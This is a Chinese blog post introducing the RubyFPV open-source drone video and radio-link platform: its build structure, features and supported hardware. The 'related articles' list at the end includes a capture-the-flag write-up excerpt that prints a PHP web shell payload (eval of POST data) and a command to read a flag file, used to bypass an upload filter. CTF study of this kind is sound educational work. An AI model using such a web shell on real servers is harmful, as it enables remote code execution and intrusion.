RubyFPV开源代码之系统简介
RubyFPV开源代码之系统简介
- 1. 源由
- 2. 工程架构
- 3. 特性介绍(软件)
- 3.1 特性亮点
- 3.2 数字优势
- 3.3 使用功能
- 4. DEMO推荐(硬件)
- 4.1 天空端
- 4.2 地面端
- 4.3 按键硬件
- Raspberry Pi
- Radxa 3W/E/C
- 5. 软件设计
- 6. 参考资料
1. 源由
RubyFPV以前是闭源的,不过Jan 26, 2023 PetruSoroaga上传了代码。详见:Github - RubyFPV
目前状态是代码已经非常好的与OpenIPC项目兼容,在地面端和天空端使用。Ruby 是一个完整的平台(硬件和软件),专为控制和管理无人机、飞行器、汽车以及其他遥控车辆而设计,同时提供多个点之间可靠的端到端数字无线电链路。
为了这个,就有必要学习和简单了解下。
rubyFPV 首页宣传视频
2. 工程架构
all├──> vehicle //天空端│ ├──> ruby_start: .o│ ├──> ruby_utils │ │ ├──> ruby_logger: .o│ │ ├──> ruby_initdhcp: .o│ │ ├──> ruby_sik_config: .o│ │ ├──> ruby_alive: .o│ │ ├──> ruby_video_proc: .o│ │ ├──> ruby_update: .o│ │ └──> ruby_update_worker: .o│ ├──> ruby_tx_telemetry: .o│ └──> ruby_rt_vehicle: .o├──> station //地面端│ ├──> (*)ruby_start│ ├──> (*)ruby_utils │ ├──> ruby_controller: .o│ ├──> ruby_rt_station: .o│ ├──> ruby_tx_rc: .o│ ├──> ruby_rx_telemetry: .o│ └──> ruby_player_radxa: .o├──> ruby_i2c: .o├──> ruby_plugins │ ├──> ruby_plugin_osd_ahi: .o│ ├──> ruby_plugin_gauge_speed: .o│ ├──> ruby_plugin_gauge_altitude: .o│ ├──> ruby_plugin_gauge_ahi: .o│ └──> ruby_plugin_gauge_heading: .o├──> ruby_central: .o└──> tests├──> test_drm: .o├──> test_gpio: .o├──> test_log: .o├──> test_port_rx: .o├──> test_port_tx: .o└──> test_link: .o
3. 特性介绍(软件)
3.1 特性亮点
-
支持433/868/915MHz和2.4/5.8GHz频段的多重冗余无线电链路:
不同频段(433MHz、868/915MHz、2.3GHz、2.4GHz、2.5GHz和5.8GHz)的多重冗余无线电链路可在车辆、地面控制站和中继之间同时使用,以提高连接的可靠性、链路质量和通信范围。 -
自适应视频、自适应无线电链路、重传机制:
Ruby会在无线电条件恶化时自动调整视频码率、视频编码质量、无线电数据速率和无线电调制方式,以保持视频流的稳定性。此外,Ruby还会在无线电条件过度恶化时自动执行重传和错误校正。 -
中继功能:
系统中可以添加移动(车辆)或固定中继节点,以实现更远距离的通信并突破视线范围限制。
了解更多关于Ruby中继功能的工作原理及配置方法:中继无线电链路:工作原理及配置方法。 -
加密功能:
无线电链路可实现端到端加密,确保只有授权组件能够解码无线电数据。 -
实时视频、遥测、远程控制、辅助与自定义数据流:
Ruby默认支持无人机所需的所有数据能力,包括实时视频流(最高可达4K分辨率)、遥测、控制以及用户自定义数据流。 -
丰富的用户界面和控制界面:
提供多种可配置的OSD屏幕、仪表、小部件以及第三方开发的用户界面插件,可供切换和操作。
3.2 数字优势
- 无噪声的视频传输:提供清晰的视频画面。
- 支持数据传输:可以同时发送遥测数据和其他自定义数据。
- 错误校正与数据可靠性:提升通信的稳定性和准确性。
- 可配置参数更多:不仅支持频率和频段的设置,还支持分辨率、帧率、抗干扰能力等视频链路相关参数的配置。
- 支持特殊场景:例如3D视频、摄像头切换等功能几乎无需额外配置即可实现。
3.3 使用功能
- 双向无线电链路:可根据无线电条件调整视频质量,从而提高视频流的质量;
- 视频录制功能;
- 远距离无线电链路:无线电链路的范围(根据配置)在2公里至40公里之间(这是目前测试的最大范围);
- 低端到端视频延迟:在当前硬件上延迟最低可达40毫秒。遥测和远程控制的延迟更低,少于10毫秒;
- 多机绑定:支持绑定多个模型(类似普通的遥控器),并能实时切换;
- 车辆实时控制与遥测数据;
- 观众模式:允许其他人作为观众观看实时视频流;
- 通过无线电链路更新车辆软件;
- 多种OSD布局;
- 详细的链路质量和视频解码统计信息;
- 多摄像头配置:支持实时切换不同摄像头配置以适应不同飞行条件;
- 双向遥测和自定义数据流:遥测支持MAVLink和LTM协议,其他协议仍在开发中;
- 丰富的设置和参数:所有设置和参数均可通过OSD和菜单实时更改。
4. DEMO推荐(硬件)

- OpenIPC
SSC338Q/SSC30KQ
IMX335, IMX415
- Raspberry
Zero 2/Pi3/Pi4
Raspberry Pi v1,v2, HQ cameras
- Radxa 3W/E/C
RK3566
- Radio
433 Mhz band SiK, ELRS radio modules
868/915 Mhz band SiK, ELRS radio modules
2.3/2.5 Ghz band Atheros chipsets AR9271 cards
2.4 Ghz band Atheros chipsets AR9271 cards
5.8 Ghz band Realtek chipsets RTL8812AU, RTL8811AU, RTL8812EU cards
4.1 天空端
搭配:SBC + Camera + BEC/UBEC + RF Card(s)
- 1 SBC (Single Board Computer, ie Raspberry, OpenIPC hardware camera, see below);
- 1 camera (see below the full list of supported camera types);
- 1 BEC/UBEC or any good 5V power supply (for providing a solid, high current capable, 5V supply to the PI board and network cards);
- 1+ radio card(s) in 433/868/915Mhz, 2.4Ghz or 5.8Ghz bands(multiple can be used for Rx diversity or multiple radio links); see the list below of all supported radio cards.

4.2 地面端
搭配:SBC + BEC/UBEC + RF Card(s) + HDMI Display + 4 Button
- 1 SBC (Single Board Computer, ie Raspberry, Radxa; see below);
- 1 BEC/UBEC or any good 5V power supply;
- 1+ radio card(s) in 433/868/915Mhz, 2.4Ghz or 5.8Ghz bands(multiple can be used for Rx diversity or multiple radio links); see the list below of all supported radio cards.
- 1 HDMI display; Or any device that can display HDMI;
- 4 (+3 additional optional) Push buttons. This is for the menu navigation on the controller. If you choose to use a rotary encoder for menu navigation, or a USB keyboard, then you don’t need these push buttons.

4.3 按键硬件
类似这种5向按键就非常适用,性价比超高!

Raspberry Pi


Radxa 3W/E/C

5. 软件设计
TBD. 后续逐步给出,暂时还没有去看RubyFPV的代码。从逻辑的角度,先整体设计上看一个大概先。
6. 参考资料
- https://rubyfpv.com/
- Github - RubyFPV
相关文章:
RubyFPV开源代码之系统简介
RubyFPV开源代码之系统简介 1. 源由2. 工程架构3. 特性介绍(软件)3.1 特性亮点3.2 数字优势3.3 使用功能 4. DEMO推荐(硬件)4.1 天空端4.2 地面端4.3 按键硬件Raspberry PiRadxa 3W/E/C 5. 软件设计6. 参考资料 1. 源由 RubyFPV以…...
麦田物语学习笔记:创建TransitionManager控制人物场景切换
基本流程 制作场景之间的切换 1.代码思路 (1)为了实现不同场景切换,并且保持当前的persistentScene一直存在,则需要一个Manager去控制场景的加载和卸载,并且在加载每一个场景之后,都要将当前的场景Set Active Scene,保证其为激活的场景,在卸载的时候也可以方便调用当前激活的场…...
后端SpringBoot学习项目-用户管理-增删改查-service层
仓库地址 在初版代码中,已经实现了基础的增删改查。 但是,逻辑处理都放在Controller层中并没有分为Service层,所以,代码升级时候必须补充上去。 代码结构 升级后的代码结构有所变化。 --common 公共插件 --controller…...
机器学习11-学习路径推荐
机器学习11-学习路径推荐 本文希望摒除AI学习商业宣传要素,推荐一条极简的AI学习路线!推荐内容均为在线免费内容,如果有条件可以咨询专业的培训机构! 文章目录 机器学习11-学习路径推荐[toc] 1-AI培训路线第一阶段 Python-人工智能…...
[ACTF2020 新生赛]Upload1
题目 以为是前端验证,试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…...
【PyTorch】0.初识:从吃货角度理解张量
0.初识张量 PyTorch 是一个 Python 深度学习框架,它将数据封装成张量(Tensor)来进行运算。PyTorch 中的张量就是元素为同一种数据类型的多维矩阵。在 PyTorch 中,张量以 "类" 的形式封装起来,对张量的一些运…...
医学图像分析工具09.1:Brainstorm安装教程
1. 安装前准备 **官方安装包和数据:**https://neuroimage.usc.edu/bst/download.php **官方安装教程:**https://neuroimage.usc.edu/brainstorm/Installation Matlab 版本要求: 有 Matlab: R2009b (7.9) 或更高版本没有 Matlab&…...
springboot基于Spring Boot的智慧养老服务系统的设计与实现
系统介绍: 智慧养老服务系统是一种运用现代科技手段,整合各类养老资源,为老年人提供全方位、个性化服务的综合性平台。该系统通过智能化设备、大数据分析、云计算等技术,实现对老年人健康状况、生活需求的实时监控与精准匹配&…...
Linux内核中IPoIB驱动模块的初始化与实现
InfiniBand(IB)是一种高性能的网络互连技术,广泛应用于高性能计算(HPC)和数据中心。为了在InfiniBand网络上运行标准的IP协议栈,Linux内核提供了IP over InfiniBand(IPoIB)驱动模块。IPoIB允许在InfiniBand网络上传输IPv4和IPv6数据包,从而使得现有的IP应用程序能够无…...
WPS计算机二级•幻灯片的基础操作
听说这是目录哦 PPT的正确制作步骤🛣️认识PPT界面布局🏜️PPT基础操作 快捷键🏞️制作PPT时 常用的快捷技巧🏙️快速替换PPT的 文本字体🌃快速替换PPT 指定文本内容🌅能量站😚 PPT的正确制作步…...
.NET9增强OpenAPI规范,不再内置swagger
ASP.NETCore in .NET 9.0 OpenAPI官方文档ASP.NET Core API 应用中的 OpenAPI 支持概述 | Microsoft Learnhttps://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/openapi/overview?viewaspnetcore-9.0https://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/ope…...
基于微信小程序的民宿预订管理系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...
网络(三) 协议
目录 1. IP协议; 2. 以太网协议; 3. DNS协议, ICMP协议, NAT技术. 1. IP协议: 1.1 介绍: 网际互连协议, 网络层是进行数据真正传输的一层, 进行数据从一个主机传输到另一个主机. 网络层可以将数据主机进行传送, 那么传输层保证数据可靠性, 一起就是TCP/IP协议. 路径选择: 确…...
【深度解析Java 20天速成】04_IDEA的安装与使用
【Why IDEA ?】 【注】JetBrains官方说明: 尽管我们采取了多种措施确保受访者的代表性,但结果可能会略微偏向 JetBrains 产品的用户,因为这些用户更有可能参加调查。 此外,2022年,某美国软件开发商在对近千名专业的Ja…...
gitlab处理空文件夹的提交或空文件夹提交失败
问题描述 厂家发给了我一个压缩包文件,压缩包解压之后本地编译没问题;推送到gitlab之后,再编译就报错了; 问题原因 经过分析之后发现,压缩包解压之后存在很多空文件夹;但是gitlab推送的时候,…...
计算机网络之链路层
本文章目录结构出自于《王道计算机考研 计算机网络_哔哩哔哩_bilibili》 02 数据链路层 在网上看到其他人做了详细的笔记,就不再多余写了,直接参考着学习吧。 1 详解数据链路层-数据链路层的功能【王道计算机网络笔记】_wx63088f6683f8f的技术博客_51C…...
Arduino大师练成手册 -- 读取红外接收数据
硬件连接 连接引脚: 将红外接收器的 VCC 引脚连接到 Arduino 的 5V 引脚。 将红外接收器的 GND 引脚连接到 Arduino 的 GND 引脚。 将红外接收器的 OUT 引脚连接到 Arduino 的数字引脚(例如 D11)。 安装必要的库 在 Arduino IDE 中&#…...
【Efficient AIGC】SiTo: Similarity-based Token Pruning (AAAI-2025)
文章目录 SiTo: Training-Free and Hardware-Friendly Acceleration for Diffusion Models via Similarity-based Token Pruning背景介绍方法结果消融 文章目录 SiTo: Training-Free and Hardware-Friendly Acceleration for Diffusion Models via Similarity-based Token Prun…...
数据标注开源框架 Label Studio
数据标注开源框架 Label Studio Label Studio 是一个开源的、灵活的数据标注平台,旨在帮助开发者和数据科学家轻松创建高质量的训练数据集。它支持多种类型的数据(如文本、图像、音频、视频等)以及复杂的标注任务(如分类、命名实体…...
MyBatis最佳实践:MyBatis 框架的缓存
缓存的概念: 在内存中临时存储数据,速度快,可以减少数据库的访问次数经常需要查询,不经常修改的数据,不是特别重要的数据都适合存储到缓存中 缓存的级别: 一级缓存(默认开启):SqlSession 级别 …...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
【机器视觉】单目测距——运动结构恢复
ps:图是随便找的,为了凑个封面 前言 在前面对光流法进行进一步改进,希望将2D光流推广至3D场景流时,发现2D转3D过程中存在尺度歧义问题,需要补全摄像头拍摄图像中缺失的深度信息,否则解空间不收敛…...
HTML前端开发:JavaScript 常用事件详解
作为前端开发的核心,JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例: 1. onclick - 点击事件 当元素被单击时触发(左键点击) button.onclick function() {alert("按钮被点击了!&…...
工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配
AI3D视觉的工业赋能者 迁移科技成立于2017年,作为行业领先的3D工业相机及视觉系统供应商,累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成,通过稳定、易用、高回报的AI3D视觉系统,为汽车、新能源、金属制造等行…...
大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计
随着大语言模型(LLM)参数规模的增长,推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长,而KV缓存的内存消耗可能高达数十GB(例如Llama2-7B处理100K token时需50GB内存&a…...
MySQL账号权限管理指南:安全创建账户与精细授权技巧
在MySQL数据库管理中,合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号? 最小权限原则…...
【Linux】Linux 系统默认的目录及作用说明
博主介绍:✌全网粉丝23W,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…...
jmeter聚合报告中参数详解
sample、average、min、max、90%line、95%line,99%line、Error错误率、吞吐量Thoughput、KB/sec每秒传输的数据量 sample(样本数) 表示测试中发送的请求数量,即测试执行了多少次请求。 单位,以个或者次数表示。 示例:…...
鸿蒙HarmonyOS 5军旗小游戏实现指南
1. 项目概述 本军旗小游戏基于鸿蒙HarmonyOS 5开发,采用DevEco Studio实现,包含完整的游戏逻辑和UI界面。 2. 项目结构 /src/main/java/com/example/militarychess/├── MainAbilitySlice.java // 主界面├── GameView.java // 游戏核…...
